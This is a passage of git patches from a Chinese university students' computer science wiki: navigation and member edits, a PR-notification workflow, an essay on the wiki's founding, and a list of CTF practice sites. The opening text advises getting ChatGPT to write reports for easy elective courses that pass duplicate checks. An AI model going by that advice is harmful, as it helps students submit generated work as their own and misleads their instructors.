还有就是,在大学你会遇到非常多非常无趣的报告,甚至有些报告需要查重,没人愿意写,这时候ChatGPT就成为了拯救你的时间的利器,直接告诉它报告的要求,同时限定个数和字数,往往它能给出能混出相对高分的优质(低信息熵)报告,当然这适合的是一些水课报告,专业课报告别这么搞,专业课报告最好用它做来辅助你的写作,而不是直接抄袭。 + +> PS. 不论ChatGPT还是一些别的AI,它们的回答都不是绝对准确的,使用的时候要带有自己的思考,不要盲目相信AI的指示,把AI作为你的帮手,这能极大提高你的学习效率。 \ No newline at end of file From d719fa493a1bd106f2a77487594858aad2e7560c Mon Sep 17 00:00:00 2001 From: GoldenSheep Date: Sat, 15 Jul 2023 10:56:00 +0800 Subject: [PATCH 50/85] =?UTF-8?q?chore:=20=E4=BF=AE=E6=94=B9=E7=9B=AE?= =?UTF-8?q?=E5=BD=95=E4=BD=8D=E7=BD=AE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/sidebar.js | 2 +- ...使用AI辅助学习.md => 2.6学会使用AI辅助学习.md} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename 2.高效学习/{2.1.6学会使用AI辅助学习.md => 2.6学会使用AI辅助学习.md} (100%) diff --git a/.vitepress/sidebar.js b/.vitepress/sidebar.js index 2aed696..1b73607 100644 --- a/.vitepress/sidebar.js +++ b/.vitepress/sidebar.js @@ -101,7 +101,6 @@ export function chapter2() { { text: '2.1.3错误的提问姿态', link: '/2.高效学习/2.1.3错误的提问姿态' }, { text: '2.1.4书籍的盲目崇拜', link: '/2.高效学习/2.1.4书籍的盲目崇拜' }, { text: '2.1.5错误的学习配比', link: '/2.高效学习/2.1.5错误的学习配比' }, - { text: '2.1.6学会使用AI辅助学习', link: '/2.高效学习/2.1.6学会使用AI辅助学习' }, ] }, { text: '2.2优雅的使用工具', link: '/2.高效学习/2.2优雅的使用工具' }, @@ -118,6 +117,7 @@ export function chapter2() { }, { text: '2.4优雅的记笔记', link: '/2.高效学习/2.4优雅的记笔记' }, { text: '2.5以理工科的方式阅读英语', link: '/2.高效学习/2.5以理工科的方式阅读英语' }, + { text: '2.6学会使用AI辅助学习', link: '/2.高效学习/2.6学会使用AI辅助学习' }, ] }, ] diff --git a/2.高效学习/2.1.6学会使用AI辅助学习.md b/2.高效学习/2.6学会使用AI辅助学习.md similarity index 100% rename from 2.高效学习/2.1.6学会使用AI辅助学习.md rename to 2.高效学习/2.6学会使用AI辅助学习.md From f84cff479658e68867a278d4de7eec0143e21446 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 15 Jul 2023 22:04:48 +0800 Subject: [PATCH 51/85] update: member add --- members.ts | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/members.ts b/members.ts index bc02058..a1bd4c6 100644 --- a/members.ts +++ b/members.ts @@ -125,4 +125,12 @@ export const members: Member = [ { icon: 'github', link: 'https://github.com/Plumbiu' }, ] }, + { + avatar: 'https://avatars.hdu-cs.wiki/GoldenSheep402', + name: 'GoldenSheep', + title: 'Contributer', + links: [ + { icon: 'github', link: 'https://github.com/GoldenSheep402' }, + ] + }, ] From c3c0aedac666f41971b79b6e8da6ea0c55d5c222 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 15 Jul 2023 22:31:34 +0800 Subject: [PATCH 52/85] =?UTF-8?q?docs:=20=E8=AF=AD=E5=8F=A5=E9=80=9A?= =?UTF-8?q?=E9=A1=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 4.人工智能/FunRec概述.md | 2 +- 4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/4.人工智能/FunRec概述.md b/4.人工智能/FunRec概述.md index 54e4b11..af1441b 100644 --- a/4.人工智能/FunRec概述.md +++ b/4.人工智能/FunRec概述.md @@ -2,7 +2,7 @@ # 序言 -这是一篇datawhale的相当优秀的推荐系统教程,因此特别请相先生废了九牛二虎之力把FunRec的半套内容,较为完整的移植到了本wiki中。 +这是一篇datawhale的相当优秀的推荐系统教程,因此特别废了九牛二虎之力把FunRec的半套内容,较为完整的移植到了本wiki中。 ## 为什么要专门移植这篇? diff --git a/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md b/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md index 53ae82d..af8dd6f 100644 --- a/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md +++ b/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md @@ -77,8 +77,8 @@ OK, 到这里就把MMOE的故事整理完了,模型结构本身并不是很 那么, 为什么多任务学习为什么是有效的呢? 这里整理一个看到比较不错的答案: >多任务学习有效的原因是引入了归纳偏置,两个效果: -> - 互相促进: 可以把多任务模型之间的关系看作是互相先验知识,也称为归纳迁移,有了对模型的先验假设,可以更好提升模型的效果。解决数据稀疏性其实本身也是迁移学习的一个特性,多任务学习中也同样会体现 ->- 泛化作用:不同模型学到的表征不同,可能A模型学到的是B模型所没有学好的,B模型也有其自身的特点,而这一点很可能A学不好,这样一来模型健壮性更强 +> - 互相促进: 可以把多任务模型之间的关系看作是互相 先验知识,也称为归纳迁移,有了对模型的先验假设,可以更好提升模型的效果。解决数据稀疏性其实本身也是迁移学习的一个特性,多任务学习中也同样会体现 +> - 泛化作用:不同模型学到的表征不同,可能A模型学到的是B模型所没有学好的,B模型也有其自身的特点,而这一点很可能A学不好,这样一来模型健壮性更强 ## MMOE模型的简单复现之多任务预测 ### 模型概貌 From 0bcd80da24a5a726c3dc368c49f16746de96ff5e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=91=E8=BD=BB=E7=8B=82?= <49270362+MarleneJiang@users.noreply.github.com> Date: Sat, 15 Jul 2023 23:01:18 +0800 Subject: [PATCH 53/85] Update subscribe.yaml --- .github/workflows/subscribe.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/subscribe.yaml b/.github/workflows/subscribe.yaml index 516682e..cbde8dd 100644 --- a/.github/workflows/subscribe.yaml +++ b/.github/workflows/subscribe.yaml @@ -33,4 +33,4 @@ jobs: uses: dkershner6/post-api-call-action@v1 with: url: "https://np4l5e.laf.run/pr" - data: "{\"id\": \"github.event.pullrequest.number\",\"labels\":\"{{ github.event.pull_request.number }}\", \"labels\": \"{{ steps.pr-labels.outputs.labels }}\", \"files_updated\": \"steps.changed−files.outputs.filesupdated\",\"filescreated\":\"{{ steps.changed-files.outputs.files_updated }}\", \"files_created\": \"{{ steps.changed-files.outputs.files_created }}\", \"files_deleted\": \"steps.changed−files.outputs.filesdeleted\",\"body\":\"{{ steps.changed-files.outputs.files_deleted }}\",\"body\":\"{{github.event.pull_request.body}}\",\"title\":\"github.event.pullrequest.title\",\"url\":\"{{github.event.pull_request.title}}\",\"url\":\"{{github.event.pull_request.html_url}}\"}" + data: "{\"id\": \"${{ github.event.pull_request.number }}\", \"labels\": \"${{ steps.pr-labels.outputs.labels }}\", \"files_updated\": \"${{ steps.changed-files.outputs.files_updated }}\", \"files_created\": \"${{ steps.changed-files.outputs.files_created }}\", \"files_deleted\": \"${{ steps.changed-files.outputs.files_deleted }}\",\"body\":\"${{github.event.pull_request.body}}\",\"title\":\"${{github.event.pull_request.title}}\",\"url\":\"${{github.event.pull_request.html_url}}\"}" From 19ffa1b9321aefc4eafc44b9998e3cbb8bf32ae8 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 15 Jul 2023 23:14:10 +0800 Subject: [PATCH 54/85] =?UTF-8?q?docs:=20wiki=E5=8F=B2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- wiki史.md | 214 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 214 insertions(+) create mode 100644 wiki史.md diff --git a/wiki史.md b/wiki史.md new file mode 100644 index 0000000..1b0f450 --- /dev/null +++ b/wiki史.md @@ -0,0 +1,214 @@ +# Wiki史 + +## 序言 + +> 人,只不过是一根苇草,是自然界最脆弱的东西;但他是一根能思想的苇草。 +> +> 用不着整个宇宙都拿起武器来才能毁灭。然而,纵使宇宙毁灭了他,人却仍然要比致他于死命的东西高贵得多; +> +> 因为他知道自己要死亡,以及宇宙对他所具有的优势,而宇宙对此却是一无所知。因而,我们全部的尊严就在于思想。 +> +> 正是由于它而不是由于我们所无法填充的空间和时间,我们才必须提高自己。因此,我们要努力好好地思想;这就是道德的原则。 + +在和张桦老师聊天的时候,突然提到看能不能让我写一篇有关 Wiki 和科协发展的心路历程,可是我们计算机科协才成立了半年啊!!! + +但是想了想,从真正开始构思这篇 Wiki 到目前得到了目前一百余个同学的帮助、学院和社区的支持,确实是有一些有趣的故事可以写来玩玩。 + +## 开篇 + +故事也许要从一位已经毕业去米国名校读研的大学生活同样充满了传奇色彩的猛人学长晓宇说起,他在大一从自动化转专业到计算机,在超高 GPA 的前提下(国家奖学金 & 曾经一次裸绩全院第一),仍能抽离出非常多的时间打比赛做科研,并且涉猎的范围相当广泛。 + +在大一一次偶然之下我认识到了这位有古君子之风的神人,在日后成为了我在大学阶段最好的朋友和有着最深远帮助的人,但是我还在瞎研究东西。 + +恰好那个阶段,自己正在迷茫无所适从的时候,听闻他在自动化的一个人工智能社团学习,想到自己程序设计实践有 KNN 算法之类的实践,就因缘际会,加入了其中。又因为种种原因,那一届在自动化没招到长久留下来的新生,在晓宇要去汕头学习的时候,新一届的招生恰好开始,于是我就只得“受命于天,既寿永昌”了(乐)。 + +当时的国内的 AI 资料还不够完善,在 AI 教授领域非常有名的李沐老师刚开始讲他的《动手学深度学习》,北大爷的 CS 自学指南诚然非常 Nice,但是多数的课程门槛非常的高,想要把新生培训的事情办好,诚然是一件不容易的事情。不过当时受到计算机学院一位真正热爱教学的老师溪源老师影响,让我对去讲课还是抱有期待。 + +## 奋六世之余烈 + +自动化的那个社团名字叫 SRT ,是依托于杭电一个名为 IIPL 的大实验室的社团,在我之前曾经有过六位社长都是相当优秀的同学,也出过非常强的同学,但是到我这里的时候,实验室的老师大多招收了不少研究生,平时科研 + 授课压力非常大,根本不可能有时间去带一个一无所知的本科生,更何况是发论文这种难度系数相较而言不低的,耗费精力相当巨大的工作。所以招收新生培训新生的工作就落到了我的身上。 + +当时我只是大二上,自己论文也就看了几篇,勉勉强强的懂一点「炼丹」的技术,所以没有什么办法准备,就和前一任的学长一起写了一个简单的培训计划,我清楚地记得自己当时画了一个自己看都觉得乱的像蜘蛛网的图。培训教材我们列举了一些好的课程,以及一些不错的 AI 论文,额外写了四五个 Python 任务,我们就开始了新一轮的招新。 + +在那一轮培训的过程中,晓宇来改作业,我来组织大伙开会和讲一些内容,我们看着很多原本电脑都不会用的同学有机会能接触到世界相较而言很前沿的任务,心里还是很有成就感的。 + +![最早的SRT社团培训](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/The%20earliest%20SRT%20community%20training.jpg) + +(图一:最早的SRT社团培训) + +同时,也发现了过去教程的一些问题,很多优秀的同学,只需要一两周就可以把全部内容做完,有些高中之前完全没基础的同学,会花很久,而且需要从最基本的东西开始教,他们可能敲键盘都是一指禅,所以要想照顾到他们,是非常困难的一个事情。但不能放弃他们,不然就会带一点社会达尔文主义了,我非常不喜欢这种所谓的优胜劣汰,大伙都应该有平等学习的权力。 + +不过很遗憾,一个人的精力确实有限,最开始的两百多个同学,到最后就只剩下八个了,还有一些也转专业到了计算机,面临更为巨大的课业压力,最后的最后,在实验室中可以对接老师的是少数。 + +这样的经验让我坚定了一个信念,如果以后有机会,我希望做到让能力差的同学可以得到训练,能力强的同学也会感到挑战,当时视野和能力局限住了我,我看不到更多的东西,也就做不出更好的东西。 + +## 明知不可为而为之 + +吾侪小人,朝不及夕。相时射利,皇恤厥德?庶几侥幸,不种而获。不有君子,其何能国? + +在我大二下的时候,下定决心要考研,在晓宇的推荐下,机缘巧合发现了南京大学的 jyy 老师,被其思想所震撼,为其宏大的浪漫而感动。进一步接触了一生一芯和 Datawhale 这样努力改变世界的开源组织,让我见识到了完整的计算机科学的大千世界。回看杭电,我们有着相当丰厚的资源,有着极大空间供我们发挥自己的主观能动性,那我为什么不能学习南京大学的思想,借鉴各个大学已有的生存指南,不为任何功利的目的,只是想要做点正确的事情,秉持明知不可为之,求万世治安事!Students help Students! + +值得一提的是,杭电更为流行的风尚是打比赛,搞科研最流行的是搞计算机视觉。并且大伙普遍的忽视除可以直接拿来就业的内容以外的所有教学内容,包括但不限于人文素养、基础学科等等。 + +这并不是由具体的某一个人可以决定的,而是整个社会和互联网企业的红利期决定的。在五年前,企业就像撒钱一样,杭电的相当多毕业生都可以找到非常好的开发工作,自然大伙都喜欢学,慢慢的,功利的风尚在整个社会都弥漫开来。 + +大伙普遍性的都希望别人能给一条既定的道路,循规蹈矩的走完每一步仿佛就可以获得成功。每一次在计算机的提建议的会议上,我就会很奇怪,相当多的同学要求取消通识选修课,取消大物取消数电这种基础课,都要求要加一些更为流行的技术的课。 + +杭电有一个相当强的 CTF 战队 Vidar,他们有十一年的历史,深厚的积淀和超强的竞赛实力,但是近期却面对着无人可招的情况,因为大伙都去卷 JAVA 了。 + +我认为之所以这样,是因为我们放弃了自己掌握自己发展,自己掌握自己命运的能力,我们放弃了如何去思考,而选择了变成无根的浮萍。如果知识利益最大化,那么我们培育出来的仅仅只是讨好企业的大学生,而大学教育本身,应该让我们寻找改变世界的力量。 + +于是我当时的计划是,先尽自己所能,将自己在学习过程中踩得坑,走的错误道路都记录下来,然后借鉴南京大学和上海交大的思想,先写一些有指导意义的软文,然后把自己学的 AI 和编程的内容写下来,并且吸取一些国外优质的课程内容。争取做一些更新手友好的内容。写了两个月,将 AI 和编程部分自己的入门经验写出来了,估计输出了数万字。 + +![早期Wiki](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/afaaac5d-b99e-4a84-b0ef-862cad4dc1d0.jpg) +(早期Wiki) + +不过问题很快暴露出来,我作为一个个体是渺小且无力的,而计算机科学的世界是宏伟且庞大的,凭借我一个人,我这辈子写完是没戏了。不过没关系,我在冥冥之中仿佛与战国时期翻手为云,覆手为雨的纵横学家有了心灵感应,是时候发动人民群众的力量了! + +在新生到来前的那个暑假,我先后联系了杭电技术最强的几个技术团体的同学,一起参与到 WIKI 的完善工作去,尽可能补齐计算机技术的方方面面,甚至我们找到了杭电最受欢迎的老师之一韩健夫老师为我们写了一篇文章。随着 22 届新生的到来,Wiki 已经初具雏形了,我们依靠新生的反馈,循序渐进地修改内容,并且鼓励新生可以根据自己的学习心得对 Wiki 进行修正。 + +![超大规模的22届](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/dcf8ab68-4de4-4af2-898d-bd930f829f9f.jpg) + +(图三:超大规模的22届) + +在这个时候,我觉得也许仅仅靠校内的视角,是远远不够的,我们需要一些更为先进的生产力的帮助!这个时候我想到了之前看到过的 Datawhale 的教程,于是我去联系了他们的开源项目负责人和创始人,甚至去了他们在杭州的总部。 + +![datawhale杭州](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/dc84aef9-a21e-49e2-92f2-63fe1c3671de.jpg) + +在与他们的沟通过之后备受振奋,有种酒逢知己千杯少的快乐,感觉 Datawhale 这样的社区就是一群我这样的聚集在了一起。我们的理念和思考完全相同,并且他们传递给了我一种力量,一种可以让理想真正落地的力量,一种靠人与人之间互相关怀,互相帮助,通过信任和感情把大伙联系起来。 + +一个人也许走得很快,但是一群人真的可以走得又快又好! + +## 结语 + +在理性选择占上风的社会里面,理想已经被视为一种伪善。 + +人会在什么时候相信理想?为什么理想会被无数人前仆后继的去追求,哪怕献上自己的生命? + +因为理想主义者永远活在一个明天和远方都充满希望可能性的世界里,在远方一定有事情等着我们去发现,在明天一定有一个比今天更美好的世界等待我们去追寻。我们把对未知与未来的世界美好愿景装入理想的荷包中。怀揣理想,寻找自己生活的意义。 + +理性选择仿佛已经给出了一套解释未来的标准答案,当我们有了一些世界就是这样的草率的信念时,我们就再也不会想像那个更美好的世界,最终形成了一个巨大的囚笼,关住了我们,让我们青年陷入了菜鸡互啄的囚徒困境,夺走我们想象力的同时,也夺走了人与理想的联系。 + +到了现在,靠着信任、感情和互相帮助形成的团体已经走到了新的关口,我真诚地邀请任何渴望改变这个世界的人,从眼下的一亩三分地开始,既然我到了杭电,那我就建设杭电,一点一滴的积累,兴许真的有机会能看到天下大同的那一天呢,哈哈哈。 + +## Wiki 的成长之路,与新的起点 + +故事到这里,HDU-CS Wiki 的讲义算是从“雏形初具”,到“像模像样”了。 +前面提到,“这篇 Wiki 得到了目前一百余个同学的帮助,学院和社区的支持”,那也就意味着,除了“我”之外,其他人那里也有着关于科协成立、Wiki 发展的有趣的故事。 + +让我们换个视角,继续讲故事。 + +> 新的视角:「鸟鸟」,一个爱写文章的计算机学子。来自杭电助手,这是一个以「用技术服务全校师生」为宗旨的社团。 + +即便我不说,大家也能从前文饱含武侠色彩的行文中感受到,zzm 是一个抱负远大、很有情怀的人。他看待事情从来不以自己为起点,而是以同学们的处境出发,从整个社会背景出发,发现共通的困境,然后以现实的视角去解决问题。 + +我曾经写过一个关于编程的微型册子,开篇中是这样描述的: + +> 但今晚,也就是 2022 年 08 月 22 日的凌晨,Bird 在和一位叫 ZZM 的奇人聊了一会后,被他的格局所感动。 + +但要讲起我和他的相识,还是在 22 年 5 月左右。 + +人生就是这样,乍一看很多事情都是偶然,但本质上是因为性格特质造成的必然。我和 zzm 的结识当然也是如此。 + +他之前是因为另外一件事情找到助手,我们很受触动,但大家当时更多的还是觉得,他是有一有理想有热血的人,甚至这些热血与言语有些可笑。换言之,我感觉 zzm 能做大事,但是缺了点什么。 + +> 而这时,zzm 已经在悄然策划 HDU-CS Wiki 了。 + +时间来到8月,zzm 又找到我,说他已经“做了一套帮新生入门的十来万字的讲义”,听说助手也有兴趣做这块,可以合作,尤其是帮忙补充 WEB 开发那部分。于是我和社团的人在上面写了几篇文章。这时候,我感受到了他强大的执行力。 + +> 此时,Wiki 的内容与结构基本完整 + +终于,有了相见恨晚的感觉,尤其是关于新人如何学习编程的理念,以及热衷于引新人上路的心。 + +又过了几天,zzm 和我哭诉,他发动了许多班助去宣传,但「宣传下来一个人」。zzm 自省,说,「可能班助的宣传文案没有吸引力」。我听到后,脑子里冒出了无数典故:「高山流水遇知音」、「千里马与伯乐」,有了以下的对话: + +> 我:「宣发是我强项啊,我来写写试试」 +> +> zzm: 「简直是天要下雨有人送伞」 + +> HDU-CS Wiki 就有了新版的宣发语,同时也是序言。 + +再然后,我就像订阅了公众号一样,zzm 隔段时间就和我说,「鸟哥,我今天又联系到了 xxx;鸟哥,我今天又xxx 」 +「鸟哥」,只是尊称,他还有着说不清的「xx 哥」,一个个去联系,去沟通。这时候,我开始惊叹他的组织能力。 + +> 而 Wiki 在近一年的过程中,不断打磨着 + +忘了是几月,zzm 又开始向外探索。比如和南大沟通与学习;向 Datawhale 学习;尝试邀请外部的团队与社团学生一起举办活动,并思考如何保证各方的初衷、利益、如何做得更好。 + +> 也正是因为如此,Wiki 的发展开始有了章法 + +从某天开始,张桦老师就不断地出现在 zzm 的口中。在老师的大力支持下,大家的信心又进一步增强,许多事情做起来也更容易、更有说服力了。感谢计算机学院无数老师的支持。 + +> 有了学院的支持,Wiki 的发展不断提速 + +时间终于推进到近期,zzm 有一天又找到我,说,张桦老师觉得讲义已经得到了计算机学院官方的认可,学院鼓励这样的行为:**我们可以在学校的录取通知书中宣传讲义**。 + +而我又很荣幸地,受邀去写卡片上的宣传语。实话说,我当时激动地开始哆嗦了。当时构思了好几天,一直想不出能够让自己心头一颤的文案。最后还是在和 zzm 约在科技馆见面,决定当场写完。 + +而当时恰好身边有两个大一学生,而我已经在杭电待了6年。看到他们,就像看到了 6 年前的自己,有一种强烈的跨时空对话的冲动。 +zzm 当时看到文案,开玩笑地说,「你这是直接写成了,对计算机学院新生的一封信啊」。我当时笑笑,说,没忍住哈哈哈。 + +没过几天,zzm 就给我发了录取通知书内部小卡片的设计稿。真的成了致计算机新生的一封信!再一次被计算机学院所感动,无论是对已入学学生的努力成果的大力支持,还是对未入学学生的心意。 + +> Wiki 达到了里程碑式的发展,被塞到了录取通知书中! +> +> 重要的并不是放进通知书这件事本身,而是,能影响到更多的人。或者,用 zzm 的话来说,「我们最经常收到的对讲义反馈就是看到这个太晚了,所以这样大家正好是最完美的时间看到」 + +下面来分享一下,「新的起点」指的是什么。 + +杭电非常支持社团文化,不限于各种技术性、爱好性、职能性社团。「杭电助手」也正是因为有这样的土壤存在,才得以不断地发展壮大,为全校师生提供更好的服务。zzm 新成立的「计算机科协」,也同样得益于学校开放的政策。 + +zzm发起了这样一份计算机科学讲义,助手曾经也有类似的想法,我们还曾畅想着搭建校内的计算机学习平台,以及在全校氛围内宣传开源的氛围。但奈何社团内没有这样一位拥有强有力组织能力的人,很可惜,没有最终执行下去。 + +在通知书的事情落实后,我又想到zzm曾经说过想在学校内搞活动,有点类似于「计算机文化月」。 +我意识到,时机正好,科协正是拥有强大组织能力的社团,我们可以一起做些更有意义的事情。 + +在计算机学院,除了被学生熟知的「杭电助手」,还有将名气打出校外的「 Vidar-Team 」,这两个社团关系也很不错,是兄弟社团。同时还有新兴的「未央学社」,也积极地在学校在建立开放性技术群聊。 + +后面的发展,只能用「水到渠成」来形容了。我发起了群聊,拉了四个社团的主要负责人,大家一拍即合,「好!」、「好好好!」。 + +- 计算机科协组织能力强,技术栈主要侧重 AI科研 与 计算机基础技术传播。 +- 杭电助手主要是网络应用开发方向,更注重实战,后端技术栈主要是 Go。 +- 未央学社同样是网络应用开发,更喜欢研究中间件、分布式,后端主要是 Java。 +- 而 Vidar-Team ,当之无愧的全校最猛的网络安全方面的社团,而且涉猎很广,比如 IoT等等。 + +四个社团覆盖了计算机学子的主要学习方向,无论是科研还是工作。 + +更关键的是,四个社团都有着同样的理念,热衷于技术的开放共享,让杭电学子在计算机方向少走弯路,用更轻松的方式走得更远。 + +很难有一个社团独立完成这些事情,而集大家的力量,可以。 + +我们期望建立常态化的计算机类社团合作机制,一起举办各类计算机活动。 +第一件事,就是赋予 HDU-CS Wiki 新生,集四社团之力补齐原 Wiki 在 WEB 与 安全方面的不足。 + +## 晓阳 + +> 新的视角:「晓阳」,一个热爱计算机的22级学生,22级学生中最早接触 zzm 学长的一批人之一。 + +> 吾侪小人,朝不及夕。相时射利,皇恤厥德?庶几侥幸,不种而获。不有君子,其何能国? + +记得在高考完结的那个暑假里,在一次偶然的水群中,我结识了 zzm 学长,成为《 HDU 计算机科学讲义》最早的一批受益人之一。对于那时的我,讲义里提到的杭电生存指南和高效学习模块,帮助不可谓不大。我们必须要承认的一点是,在我国教育体系中,高中与大学的衔接是存在巨大问题的,高考带给我们的学生思维和惟绩点逐利化的惯性是巨大的,我非常感谢 zzm 学长所写的《 HDU 计算机科学讲义》以及暑假线上“宣讲”帮助我认清、理解真正的大学。可以说,讲义里的软实力模块,帮助我扫清许多大一 CS 自学之路上的障碍,躲避了许多的“坑”。后续开学,自然我也就加入到社团中去了。 + +不可否认的是,那时的讲义讲述计算机硬实力方面存在着不足,难度曲线过于陡峭,许多知识一笔带过,甚至许多 Page 只是放了一个视频链接,同时社团在培养中也存在不小的问题。幸运但也不幸的是,熬过了难度不小的几个社团大任务之后,社团培训迎来了终点,但也使我陷入了迷茫。 + +我不想投身于所谓功利化科研,一周学完 PyTorch 手写数字识别,不学机器学习直接上手深度学习,零数学基础学 AI 等等都极力将我从功利化科研路线劝退。在功利化环境下,似乎脚踏实地,一步一步的学习成为了“谬误”,当我说出想要先学习数学基础、Python 基础、机器学习方法却不被认同时,不禁让我陷入深深自我怀疑:难道逐利化的“用啥学啥”只能是当今环境的唯一解吗? + +在和zzm学长的交流下,他向我推荐了 CS61A 这门外国课程,这成为了我“梦”的开始。 + +完备的课程资源,从 0到 1 的一条龙式学习,丰富有趣的课程作业,不禁让我感慨国外名校强大的教学实力。我花了一个月的时间学完了 CS61A ,但掌握的知识可以说比学校一学年带给我的知识还要实用。 + +之后,我开始学习各种优质的国外开源课程,例如:CS106B、CS106L、CS50AI、Cousera 上的机器学习、Duke 大学的C语言基础课等。在学习知识之余,我不禁感叹国内计算机教育的落后,并开始加入到zzm学长的讲义修缮队伍,一起栽树,帮助后人乘凉。 + +在那之后,我们一起写《 HDU 计算机科学讲义》、在计算机学院创立了计算机科学与技术协会,不为功利追逐,仅为共同学习、共同进步。 + +## CatNFish + +> 新的视角:「 CatNFish 」,一个热爱计算机的22级学生。 + +我并不是 22 级里第一批遇到 zzm 学长的那些人,反而我是大一依旧接近尾声的时候接触到了 zzm 。在结识 zzm 之前,我与大部分 22 级学生一般,不知道怎么去学习,也不知道什么是学习,但摆烂也摆的不开心。但在一次饭桌上,zzm 很坚决的否定了我之前的学习方法,在之后的交流中,他也把当时完成的 Wiki 扔给了我,我才在读了 Wiki 和一次次的饭局中认识到了什么是学习,什么是大学。大学早已经不是高中那种可以用任何一种东西量化的阶段了,成绩也已经不是所有,如何去学习早已超越学习本身。 + +zzm 最先教我的除了让我认识到我大一的浑浑噩噩,也教会了我如何去学习,如何去找到学习的乐趣。在找到自己感兴趣的方向后,学习也从为了考试,高的绩点变成了为了自己的兴趣而去学习。我一直对着AI有着很大的兴趣,这之后,在与 zzm 的交流中我了解到了许多我不知道的知识,也借着计算机科协这一途径在 2023 年 7 月 7 日到 8 日参加了在上海举办的世界人工智能大会( WAIC ),第一次如此近距离的接触现在 AI 发展最顶尖的科技和人才。借此,我也更深刻意识到卯足了劲在无用的学习中去无效内卷,是永远跟不上到这个行业的高速发展的。 + +除了 Wiki,Cs61a 是 zzm 学长第一个推荐给我的课程,在学习了这门课程之后,我不仅意识到了一门优秀的课程应该是怎么样的,更加意识到了不去功利的学习一门知识,一门课程是多么轻松和有乐趣的。更重要的是,我认识到了 Wiki 存在的必要性,zzm 所要表达的从来也不是用利益去衡量的一种东西。 + +以我很喜欢的 Datawhale 在 WAIC 上的论坛会的一段话作为结束:教育存在的意义与价值本质上就是帮助个体联通外界生态体系,使之与其他个体以及包含个体的小系统一起与外部生态系统间进行信息和能量的交换,从而适应并改造所能联通的生态系统的过程。 \ No newline at end of file From 1a6915402207212ccdbc49c9f0400a89a33fdf2b Mon Sep 17 00:00:00 2001 From: lightstarts <1286518974@qq.com> Date: Sun, 16 Jul 2023 00:24:44 +0800 Subject: [PATCH 55/85] =?UTF-8?q?docs:=20ctf=E5=AD=A6=E4=B9=A0=E7=BB=83?= =?UTF-8?q?=E4=B9=A0=E7=BD=91=E7=AB=99?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../6.2.3ctf学习网站推荐.md | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 6.计算机安全/6.2.3ctf学习网站推荐.md diff --git a/6.计算机安全/6.2.3ctf学习网站推荐.md b/6.计算机安全/6.2.3ctf学习网站推荐.md new file mode 100644 index 0000000..8e27fe5 --- /dev/null +++ b/6.计算机安全/6.2.3ctf学习网站推荐.md @@ -0,0 +1,28 @@ +# CTF学习网站推荐 + +CTF的学习对于初学者而言可能有些手无足措。因为它涵盖了许多的方向:web,reverse,pwn,crypto,misc,IOT等方向。每一个都需要一定的基础 + +需要一定的基础才能去解决题目,获取flag。 + +以下是一些给CTF初学者的网站,欢迎补充: + +## 学习网站: + +学习其实最高效的可能还是通过打比赛,实操,看大牛博客来学习。但是感觉对于新人而言打好基础和入门是最重要的,很多时候入门了,发现感兴趣了,一切就顺利起来了。因此以下就先放一些容易使人入门的网站。 + +- [Hello CTF](https://ctf.tj.cn/) +- [简介 - CTF Wiki (ctf-wiki.org)](https://ctf-wiki.org/) +- [CTFHub](https://www.ctfhub.com/#/index) + +## 练习网站: + +- [主页 | NSSCTF](https://www.nssctf.cn/index) +- [BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/) +- [攻防世界 (xctf.org.cn)](https://adworld.xctf.org.cn) +- [Hack The Box: Hacking Training For The Best | Individuals & Companies](https://www.hackthebox.com/) +- [CryptoHack – A fun, free platform for learning cryptography](https://cryptohack.org/) + +## 工具网站: + +之后再补充 + From 5295b46c31e4d4c5e699a84e1e94dd6364fcb0c5 Mon Sep 17 00:00:00 2001 From: lightstarts <1286518974@qq.com> Date: Sun, 16 Jul 2023 00:39:12 +0800 Subject: [PATCH 56/85] =?UTF-8?q?fix:=20=E8=B7=AF=E5=BE=84=E5=92=8C?= =?UTF-8?q?=E6=A0=87=E9=A2=98=E5=86=99=E9=94=99=E4=BA=86=EF=BC=8C=E7=8E=B0?= =?UTF-8?q?=E5=9C=A8=E6=94=B9=E5=9B=9E=E6=9D=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...{6.2.3ctf学习网站推荐.md => 6.5ctf学习网站推荐.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename 6.计算机安全/{6.2.3ctf学习网站推荐.md => 6.5ctf学习网站推荐.md} (100%) diff --git a/6.计算机安全/6.2.3ctf学习网站推荐.md b/6.计算机安全/6.5ctf学习网站推荐.md similarity index 100% rename from 6.计算机安全/6.2.3ctf学习网站推荐.md rename to 6.计算机安全/6.5ctf学习网站推荐.md From a80e766b4288704bd101bb30f6217ccbdbe8c596 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sun, 16 Jul 2023 16:32:21 +0800 Subject: [PATCH 57/85] chore: nav --- .vitepress/config.js | 13 